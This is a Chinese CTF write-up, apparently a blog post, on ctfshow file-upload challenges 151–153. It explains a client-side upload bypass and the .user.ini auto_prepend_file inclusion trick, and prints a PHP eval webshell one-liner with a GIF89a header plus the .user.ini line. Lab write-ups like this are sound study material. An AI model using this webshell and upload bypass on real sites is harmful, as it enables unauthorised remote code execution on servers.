Ctfshow Web入门 - 文件上传(151-153)

Web151

前台校验,无法上传PHP文件、jpg图片,上传png图片马,抓包改后缀

 

Web152

解法同151

 

Web153

不知道过滤什么,看了WP:

我们可以在.user.ini中设置php.ini中PHP_INI_PERDIR和PHP_INI_USER模式的 INI 设置,而且只要是在使用CGI/FastCGI模式的服务器上都可以使用.user.ini
auto_prepend_file和auto_append_file设置我们指定一个文件(如a.jpg),那么该文件就会被包含在要执行的php文件中(如index.php),
类似于在index.php中插入一句:require(./a.jpg);

这两个设置的区别只是在于auto_prepend_file是在文件前插入;auto_append_file在文件最后插入(当文件调用的有exit()时该设置无效)

所以要求当前目录必须要有php文件getflag思路:我们上传一个.user.ini 文件设置一个文件1.jpg然后访问index.php就相当于包含了1.jpg

其中GIF89a是告诉系统,根据图形交换格式(GIF)89a版进行格式化,生成图形

 

以上大致意思是PHP有一个可以重写的配置文件,类似于apache的.htaccess绕过,但是PHP这个比较苛刻,需要开启一定功能才能使用,题目是默认开启的

1.我们先上传.user.ini文件(当然文件名抓包之后再修改)

2.然后再上传包含的PHP文件,访问/upload/index.php自动包含

3.使用hackbar或者蚁剑寻找并读取flag

我的文件如下:

<?php @eval($_POST['pass']);?>
GIF89a
auto_prepend_file=pass.jpg

 上传之后蚁剑连接,在html目录下找到flag

posted @ 2020-11-27 16:58  ch0bits  阅读(1578)  评论(0编辑  收藏  举报